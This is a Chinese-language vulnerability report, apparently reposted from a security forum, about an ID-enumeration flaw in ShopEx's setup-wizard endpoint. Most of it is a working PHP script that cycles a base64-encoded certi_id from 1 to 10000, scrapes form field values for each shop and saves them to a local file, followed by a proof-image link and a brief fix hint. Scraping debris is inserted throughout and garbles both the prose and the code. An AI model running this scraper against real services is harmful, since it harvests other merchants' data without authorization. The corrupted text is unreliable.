ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
, W5 Y; N" H' `$ w, \7 L( K详细说明：
) o- f0 \6 B) A1 z问题出现在shopex 网店使用向导页面
+ Q8 {* `- z5 m# d6 \5 J% ^


0 H& b: Q2 w; A) i$ X9 k* d* khttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

$ u8 h+ p+ _' |. Z7 Q4 Y# @5 P
+ s& c+ _4 O/ W0 x% a
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

. ]% y0 @: r7 V
, V% C0 A5 b# G
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站

  Q9 t: o* X1 D: ]+ X) T& G" _
/ k  ~) Q$ [! ?+ F4 i- G! d
5 h8 V! l( E& L6 F/ G; ~<?php

                for ($i=1; $i < 10000; $i++) { //遍历

% ]2 U4 u3 V& G: V% S# Y                        ShowshopExD($i);

                }

9 j2 a7 i5 S  ~                function ShowshopExD($cid) {

& L% ?* D8 G5 L" k* ?                $url='http://guide.ecos.shopex.cn/step2.php';
9 B6 |0 r: j: M  L# w
3 i5 n- @$ A& U5 S                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

( @# i4 l" v; W+ H! Q+ S2 v        $url = $url.'?refer='.$refer;

3 x1 \5 j% Y+ q5 H8 }8 s: P9 ~; w0 B        $ch = curl_init($url);

, v0 \' O0 f  ^3 G5 q        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
( Z. ^# y$ ~  s
; S. ^" f' {( Q: o  v4 V! C: K        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

! m! V, L) ~4 K- j$ [& t  K6 t        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
/ N  i. I2 g) f4 J8 V8 n
; [4 g% L7 G& j* F& g% J# Y: m5 R        if(strpos($result,$refer))
/ o; E  C$ U" d# Q% j/ r
7 |8 t  w( z& |        {

, a" v! L. d% f  a- a- ^5 |; f( O                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

: @" E( R  G3 M                foreach ($value[1] as $key) {
* \* M. j: s4 y8 [  J' ]0 \( P1 A
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
% Z. Y  i0 J: n6 b# y: j: q
                        echo $res[1][0].':'.$res[3][0]."\r\n";
0 r2 |4 ]! t- V( c, h' A
( G# h8 _1 L# Z: g6 g3 a! \                        $col =$res[1][0].':'.$res[3][0]."\r\n";
6 [) X7 M$ L! q" G4 p8 s
                        fwrite($fp, $col, strlen($col));

1 X! c- d+ u; ^                }

                echo '--------------------------------'."\r\n";

( X# T  d3 r/ d9 P# q                fclose($fp);

- `& E8 t& H5 N- g0 b  ?  I+ ~+ R        }

# P4 B! ~4 Q- g" J) }        flush();
- n6 k% F. \; t" W) g
        curl_close($ch);

                }
% T1 n! R  s- n. t! D; F
?>
7 X# w6 E: h5 c6 d# l0 k" a漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
  k# \. f- o% W$ c% H: v